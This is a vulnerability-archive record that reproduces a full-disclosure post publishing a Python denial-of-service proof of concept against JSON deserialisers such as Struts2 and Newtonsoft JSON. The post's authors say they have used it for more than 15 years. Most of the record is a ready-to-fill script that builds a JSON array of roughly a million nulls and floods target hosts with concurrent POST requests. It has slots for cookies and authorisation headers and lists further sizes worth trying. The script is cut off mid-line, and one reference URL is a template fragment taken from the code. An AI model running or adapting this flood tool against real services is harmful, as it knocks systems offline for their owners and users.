GCVE-1988-2026-0096
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:55
VLAI
EPSS
VEX
Title
JSON Deserialiser Unconstrained Resource Consumption Proof of Concept
Summary
On 26 October 2025 we published "Struts2 and Related Framework Array/Collection DoS", which was followed up on 07 March
2026 by "JSON Deserialiser Unconstrained Resource Consumption Quick Overview". Today we are publishing a proof of
concept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other
JSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by
Apache, and because we want the community to see what insecure deserialisation really is, rather than the confused
ysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using
Inedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled "Inedo ProGet Insecure Reflection and CSRF
Vulnerabilities"). We lovingly call this POC, "Commas of D00m". Use find/replace on the tokens. Enjoy
```python
#!/usr/bin/python3
# ---
# name: Collection-size overflow tester
# category: Testing and scanning
# tags: dos, payload, collection-size, json, flood, load, http
# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size
limits.
# placeholders:
# - token: "@@HOSTS@@"
# field: hosts
# kind: list
# format: python
# label: Hosts
# - token: "@@CONTENT_TYPE@@"
# field: content_type
# kind: text
# label: Content-Type
# default: application/json
# - token: "@@PATH@@"
# field: path
# kind: text
# label: Request path
# optional: true
# default: /
# - token: "@@HEADERS@@"
# field: headers
# kind: map
# format: python
# label: Extra headers, like the cookie and authorisation headers
# optional: true
# - token: "@@PARALLEL_COUNT@@"
# field: parallel_count
# kind: text
# label: Parallel count (concurrent threads)
# optional: true
# default: 40
# - token: "@@TOTAL_CONNECTIONS@@"
# field: total_number_of_connections
# kind: text
# label: Total connections
# optional: true
# default: 1000
# - token: "@@RECREATE_PAYLOAD@@"
# field: recreate_payload
# kind: text
# label: Recreate payload file (true/false)
# optional: true
# default: true
# - token: "@@PAYLOAD_FILE@@"
# field: payload_file
# kind: text
# label: Payload file
# optional: true
# default: prebuilt_payload_tmp
# - token: "@@PAYLOAD_LEFT@@"
# field: payload_left
# kind: text
# label: Payload left (before the null array)
# optional: true
# default: {"serviceTypes": [
# - token: "@@PAYLOAD_RIGHT@@"
# field: payload_right
# kind: text
# label: Payload right (after the null array; blank uses the default)
# optional: true
# - token: "@@STEP@@"
# field: step
# kind: text
# label: Step
# optional: true
# default: 1
# - token: "@@MAX_COLLECTION_SIZE@@"
# field: max_collection_size
# kind: text
# label: Max collection size
# optional: true
# default: 1048500
# ---
"""Flood a host with oversized JSON payloads to probe collection-size limits.
Builds a payload whose array holds a very large number of ``null`` entries --
enough to strain a server-side (Java) collection -- and fires it at each host
with a configurable amount of concurrency, tallying the status codes seen
(413s and 5xx especially) and logging any 5xx bodies to
``request-responses.txt``. A Content-Type and at least one host are required.
Usage:
python collection_size_overflow.py
"""
import concurrent.futures
import os
import random
import string
import time
from datetime import datetime, timezone
import requests
# REPLACE/ADJUST THESE
config = {
'hosts': @@HOSTS@@,
'paths': ['@@PATH@@' or '/'],
'content_type': '@@CONTENT_TYPE@@',
'extra_headers': @@HEADERS@@,
'parallel_count': int('@@PARALLEL_COUNT@@' or 40),
'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000),
# Data for the payload generation
'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'),
'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp',
'payload_left': r"""@@PAYLOAD_LEFT@@""" or '{"serviceTypes": [',
'payload_right': r"""@@PAYLOAD_RIGHT@@""" or '"IP_TUNNEL"]}',
'step': int('@@STEP@@' or 1),
'max_collection_size': int('@@MAX_COLLECTION_SIZE@@' or 1048500),
# The maximum Java collection size is 2147483647; other sizes worth trying:
# 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,
# 67105747, 114500747
}
def count_status_codes(responses):
"""
Walks through the responses and counts the status codes
Args:
responses (list[Response]): List of response objects
Returns:
dict: A dictionary with counts for each of the status codes that we monitor
"""
try:
with open('request-responses.txt', 'a') as f:
for response in [r for r in responses if r is not None and 500 <= r.status_code < 600]:
# Write response
f.write("Response:\n")
for header, value in response.headers.items():
f.write(f"{header}: {value}\n")
f.write(f"{response.text}\n")
# Add separator between entries
f.write("-" * 50 + "\n")
print(f"Successfully wrote responses to request-responses.txt")
except Exception as e:
print(f"Error writing to file: {str(e)}")
counts = {
'2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]),
'4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]),
'400': len([r for r in responses if r is not None and r.status_code == 400]),
'402': len([r for r in responses if r is not None and r.status_code == 402]),
'403': len([r for r in responses if r is not None and r.status_code == 403]),
'404': len([r for r in responses if r is not None and r.status_code == 404]),
'413': len([r for r in responses if r is not None and r.status_code == 413]),
'429': len([r for r in responses if r is not None and r.status_code == 429]),
'5xx': len([r for r in responses if r is not None and 500 <= r.status_code < 600]),
'500': len([r for r in responses if r is not None and r.status_code == 500]),
'502': len([r for r in responses if r is not None and r.status_code == 502]),
'503': len([r for r in responses if r is not None and r.status_code == 503]),
'504': len([r for r in responses if r is not None and r.status_code == 504])
}
for resp in responses:
if resp is not None:
if 500 <= resp.status_code < 600:
print(f'{response.headers}')
print(f'{resp.text}')
else:
print(f'We have a response of {resp}')
return counts
def get_payload(recreate_payload=False):
"""
Grabs the payload that we are going to send
Args:
recreate_payload (bool): Whether we should stomp over the payload file if it exists
Returns:
str: The payload to be sent
"""
sequential = config['max_collection_size'] * 95 // 100
if recreate_payload or os.path.exists(config['payload_file']) == False:
with open(config['payload_file'], 'w', encoding='utf-8') as file:
file.write(config['payload_left'])
for i in range(1, sequential, 1):
file.write(f'null,')
for i in range(sequential + 1, config['max_collection_size'] + 1, config['step']):
file.write('null,')
file.write(config['payload_right'])
with open(config['payload_file'], 'r', encoding='utf-8') as file:
return file.read()
def make_request(url, data=None, cookie_string=None):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/137.0.0.0 Safari/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
}
# Caller-supplied headers first, then the required Content-Type so it wins.
headers.update(config['extra_headers'])
if config['content_type']:
headers['Content-Type'] = config['content_type']
if cookie_string:
headers['Cookie'] = cookie_string
try:
session = requests.Session()
req = requests.Request(
'POST',
url,
data=data if data else None,
headers=headers,
)
prepared = session.prepare_request(req)
# --- Print the exact request ---
# print(f"{prepared.method} {prepared.path_url} HTTP/1.1")
# for header, value in prepared.headers.items():
# print(f"{header}: {value}")
# print() # blank line separating headers from body
# if prepared.body:
# # Print first 500 chars of body to avoid flooding the terminal
# print(f"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}")
# print("=" * 50)
# --------------------------------
response = session.send(prepared)
#print(f'RRR: {response.status_code}')
#print(f'FFF: {response.headers}')
#print(f'DDD: {response.text}')
return response
except Exception as e:
print(f'Error (at {datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}')
return None
def run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):
"""
Kicks off requests to run each query and then waits for the responses
collecting them into a list
Args:
url (str): URL to make requests to
data (str): The data to pass to the request
num_threads (int): Number of threads to use
num_runs (int): Number of requests to to make (in total)
cookie_string (str): Any cookies to include
Returns:
list[Response]: A list of responses
"""
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]
responses = [f.result() for f in concurrent.futures.as_completed(futures)]
return responses
def main():
# Clear our request/responses file
with open('request-responses.txt', 'w') as file:
pass
# Create a random value and set it across the requests
random_value = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# Running the attack
print('Running the attack...')
## Exceed the maximum count for items in a Java collection
payload = get_payload(recreate_payload=config['recreate_payload'])
for host in config['hosts']:
path = config['paths'][0]
url = f"https://{host}{path}";
print(
f"Attacking {url} with a payload of size {len(payload)} (using {payload.count('null,')} non-null
entries)...")
start_time = time.time()
responses = run_concurrent_requests(url, data=payload, num_threads=config['parallel_count'],
num_runs=config['total_number_of_connections'])
end_time = time.time()
counts = count_status_codes(responses)
# Print results
if counts['4xx'] > 0:
print(f" {counts['4xx']} 4xxs observed")
for status in ['400', '402', '403', '404']:
if counts[status] > 0:
print(f" {counts[status]} {status}s observed")
for status in ['413']:
if counts[status] > 0:
print(f" {counts[status]} {status}s observed (reduce payload size)")
print(
f" {counts['429']} 429s observed (out of {config['total_number_of_connections']} runs at a rate of
{config['parallel_count']} concurrent threads)")
if co
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/117 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ | |
| https://{host}{path}" |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Json | Deserialiser Unconstrained |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Deserialiser Unconstrained",
"vendor": "Json",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "On 26 October 2025 we published \"Struts2 and Related Framework Array/Collection DoS\", which was followed up on 07 March \n2026 by \"JSON Deserialiser Unconstrained Resource Consumption Quick Overview\". Today we are publishing a proof of \nconcept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other \nJSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by \nApache, and because we want the community to see what insecure deserialisation really is, rather than the confused \nysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using \nInedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled \"Inedo ProGet Insecure Reflection and CSRF \nVulnerabilities\"). We lovingly call this POC, \"Commas of D00m\". Use find/replace on the tokens. Enjoy\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Collection-size overflow tester\n# category: Testing and scanning\n# tags: dos, payload, collection-size, json, flood, load, http\n# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size \nlimits.\n# placeholders:\n# - token: \"@@HOSTS@@\"\n# field: hosts\n# kind: list\n# format: python\n# label: Hosts\n# - token: \"@@CONTENT_TYPE@@\"\n# field: content_type\n# kind: text\n# label: Content-Type\n# default: application/json\n# - token: \"@@PATH@@\"\n# field: path\n# kind: text\n# label: Request path\n# optional: true\n# default: /\n# - token: \"@@HEADERS@@\"\n# field: headers\n# kind: map\n# format: python\n# label: Extra headers, like the cookie and authorisation headers\n# optional: true\n# - token: \"@@PARALLEL_COUNT@@\"\n# field: parallel_count\n# kind: text\n# label: Parallel count (concurrent threads)\n# optional: true\n# default: 40\n# - token: \"@@TOTAL_CONNECTIONS@@\"\n# field: total_number_of_connections\n# kind: text\n# label: Total connections\n# optional: true\n# default: 1000\n# - token: \"@@RECREATE_PAYLOAD@@\"\n# field: recreate_payload\n# kind: text\n# label: Recreate payload file (true/false)\n# optional: true\n# default: true\n# - token: \"@@PAYLOAD_FILE@@\"\n# field: payload_file\n# kind: text\n# label: Payload file\n# optional: true\n# default: prebuilt_payload_tmp\n# - token: \"@@PAYLOAD_LEFT@@\"\n# field: payload_left\n# kind: text\n# label: Payload left (before the null array)\n# optional: true\n# default: {\"serviceTypes\": [\n# - token: \"@@PAYLOAD_RIGHT@@\"\n# field: payload_right\n# kind: text\n# label: Payload right (after the null array; blank uses the default)\n# optional: true\n# - token: \"@@STEP@@\"\n# field: step\n# kind: text\n# label: Step\n# optional: true\n# default: 1\n# - token: \"@@MAX_COLLECTION_SIZE@@\"\n# field: max_collection_size\n# kind: text\n# label: Max collection size\n# optional: true\n# default: 1048500\n# ---\n\"\"\"Flood a host with oversized JSON payloads to probe collection-size limits.\n\nBuilds a payload whose array holds a very large number of ``null`` entries --\nenough to strain a server-side (Java) collection -- and fires it at each host\nwith a configurable amount of concurrency, tallying the status codes seen\n(413s and 5xx especially) and logging any 5xx bodies to\n``request-responses.txt``. A Content-Type and at least one host are required.\nUsage:\n python collection_size_overflow.py\n\"\"\"\n\nimport concurrent.futures\nimport os\nimport random\nimport string\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n \u0027hosts\u0027: @@HOSTS@@,\n \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027,\n \u0027extra_headers\u0027: @@HEADERS@@,\n \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n # Data for the payload generation\n \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n \u0027payload_left\u0027: r\"\"\"@@PAYLOAD_LEFT@@\"\"\" or \u0027{\"serviceTypes\": [\u0027,\n \u0027payload_right\u0027: r\"\"\"@@PAYLOAD_RIGHT@@\"\"\" or \u0027\"IP_TUNNEL\"]}\u0027,\n \u0027step\u0027: int(\u0027@@STEP@@\u0027 or 1),\n \u0027max_collection_size\u0027: int(\u0027@@MAX_COLLECTION_SIZE@@\u0027 or 1048500),\n # The maximum Java collection size is 2147483647; other sizes worth trying:\n # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,\n # 67105747, 114500747\n}\n\n\ndef count_status_codes(responses):\n \"\"\"\n Walks through the responses and counts the status codes\n\n Args:\n responses (list[Response]): List of response objects\n\n Returns:\n dict: A dictionary with counts for each of the status codes that we monitor\n \"\"\"\n try:\n with open(\u0027request-responses.txt\u0027, \u0027a\u0027) as f:\n for response in [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]:\n # Write response\n f.write(\"Response:\\n\")\n for header, value in response.headers.items():\n f.write(f\"{header}: {value}\\n\")\n f.write(f\"{response.text}\\n\")\n\n # Add separator between entries\n f.write(\"-\" * 50 + \"\\n\")\n\n print(f\"Successfully wrote responses to request-responses.txt\")\n\n except Exception as e:\n print(f\"Error writing to file: {str(e)}\")\n\n counts = {\n \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n \u0027400\u0027: len([r for r in responses if r is not None and r.status_code == 400]),\n \u0027402\u0027: len([r for r in responses if r is not None and r.status_code == 402]),\n \u0027403\u0027: len([r for r in responses if r is not None and r.status_code == 403]),\n \u0027404\u0027: len([r for r in responses if r is not None and r.status_code == 404]),\n \u0027413\u0027: len([r for r in responses if r is not None and r.status_code == 413]),\n \u0027429\u0027: len([r for r in responses if r is not None and r.status_code == 429]),\n \u00275xx\u0027: len([r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]),\n \u0027500\u0027: len([r for r in responses if r is not None and r.status_code == 500]),\n \u0027502\u0027: len([r for r in responses if r is not None and r.status_code == 502]),\n \u0027503\u0027: len([r for r in responses if r is not None and r.status_code == 503]),\n \u0027504\u0027: len([r for r in responses if r is not None and r.status_code == 504])\n }\n for resp in responses:\n if resp is not None:\n if 500 \u003c= resp.status_code \u003c 600:\n print(f\u0027{response.headers}\u0027)\n print(f\u0027{resp.text}\u0027)\n else:\n print(f\u0027We have a response of {resp}\u0027)\n return counts\n\n\n\ndef get_payload(recreate_payload=False):\n \"\"\"\n Grabs the payload that we are going to send\n\n Args:\n recreate_payload (bool): Whether we should stomp over the payload file if it exists\n\n Returns:\n str: The payload to be sent\n \"\"\"\n sequential = config[\u0027max_collection_size\u0027] * 95 // 100\n if recreate_payload or os.path.exists(config[\u0027payload_file\u0027]) == False:\n with open(config[\u0027payload_file\u0027], \u0027w\u0027, encoding=\u0027utf-8\u0027) as file:\n file.write(config[\u0027payload_left\u0027])\n for i in range(1, sequential, 1):\n file.write(f\u0027null,\u0027)\n for i in range(sequential + 1, config[\u0027max_collection_size\u0027] + 1, config[\u0027step\u0027]):\n file.write(\u0027null,\u0027)\n file.write(config[\u0027payload_right\u0027])\n with open(config[\u0027payload_file\u0027], \u0027r\u0027, encoding=\u0027utf-8\u0027) as file:\n return file.read()\n\n\ndef make_request(url, data=None, cookie_string=None):\n headers = {\n \u0027User-Agent\u0027: \u0027Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \nChrome/137.0.0.0 Safari/537.36\u0027,\n \u0027Accept\u0027: \u0027application/json, text/javascript, */*; q=0.01\u0027,\n }\n # Caller-supplied headers first, then the required Content-Type so it wins.\n headers.update(config[\u0027extra_headers\u0027])\n if config[\u0027content_type\u0027]:\n headers[\u0027Content-Type\u0027] = config[\u0027content_type\u0027]\n if cookie_string:\n headers[\u0027Cookie\u0027] = cookie_string\n\n try:\n session = requests.Session()\n req = requests.Request(\n \u0027POST\u0027,\n url,\n data=data if data else None,\n headers=headers,\n )\n prepared = session.prepare_request(req)\n\n # --- Print the exact request ---\n # print(f\"{prepared.method} {prepared.path_url} HTTP/1.1\")\n # for header, value in prepared.headers.items():\n # print(f\"{header}: {value}\")\n # print() # blank line separating headers from body\n # if prepared.body:\n # # Print first 500 chars of body to avoid flooding the terminal\n # print(f\"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}\")\n # print(\"=\" * 50)\n # --------------------------------\n\n response = session.send(prepared)\n #print(f\u0027RRR: {response.status_code}\u0027)\n #print(f\u0027FFF: {response.headers}\u0027)\n #print(f\u0027DDD: {response.text}\u0027)\n return response\n except Exception as e:\n print(f\u0027Error (at {datetime.now(timezone.utc).strftime(\"%Y%m%dT%H%M%SZ\")}): {e}\u0027)\n return None\n\n\ndef run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):\n \"\"\"\n Kicks off requests to run each query and then waits for the responses\n collecting them into a list\n\n Args:\n url (str): URL to make requests to\n data (str): The data to pass to the request\n num_threads (int): Number of threads to use\n num_runs (int): Number of requests to to make (in total)\n cookie_string (str): Any cookies to include\n\n Returns:\n list[Response]: A list of responses\n \"\"\"\n with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:\n futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]\n responses = [f.result() for f in concurrent.futures.as_completed(futures)]\n return responses\n\n\ndef main():\n # Clear our request/responses file\n with open(\u0027request-responses.txt\u0027, \u0027w\u0027) as file:\n pass\n\n # Create a random value and set it across the requests\n random_value = \u0027\u0027.join(random.choices(string.ascii_letters + string.digits, k=16))\n\n # Running the attack\n print(\u0027Running the attack...\u0027)\n ## Exceed the maximum count for items in a Java collection\n payload = get_payload(recreate_payload=config[\u0027recreate_payload\u0027])\n for host in config[\u0027hosts\u0027]:\n path = config[\u0027paths\u0027][0]\n url = f\"https://{host}{path}\";\n print(\n f\"Attacking {url} with a payload of size {len(payload)} (using {payload.count(\u0027null,\u0027)} non-null \nentries)...\")\n\n start_time = time.time()\n responses = run_concurrent_requests(url, data=payload, num_threads=config[\u0027parallel_count\u0027],\n num_runs=config[\u0027total_number_of_connections\u0027])\n end_time = time.time()\n\n counts = count_status_codes(responses)\n\n # Print results\n if counts[\u00274xx\u0027] \u003e 0:\n print(f\" {counts[\u00274xx\u0027]} 4xxs observed\")\n for status in [\u0027400\u0027, \u0027402\u0027, \u0027403\u0027, \u0027404\u0027]:\n if counts[status] \u003e 0:\n print(f\" {counts[status]} {status}s observed\")\n for status in [\u0027413\u0027]:\n if counts[status] \u003e 0:\n print(f\" {counts[status]} {status}s observed (reduce payload size)\")\n\n print(\n f\" {counts[\u0027429\u0027]} 429s observed (out of {config[\u0027total_number_of_connections\u0027]} runs at a rate of \n{config[\u0027parallel_count\u0027]} concurrent threads)\")\n\n if co"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:55:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/117"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://{host}{path}\""
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/117"
],
"discovery": "EXTERNAL"
},
"title": "JSON Deserialiser Unconstrained Resource Consumption Proof of Concept",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0096",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117",
"automated": true,
"contentSha256": "19cbf491b9e597b72dad991fddb1b6590e2d29ed3076b03b24525c29c3183b32",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/117",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-29T00:11:02Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:22Z",
"dateUpdated": "2026-09-11T11:55:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0096"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…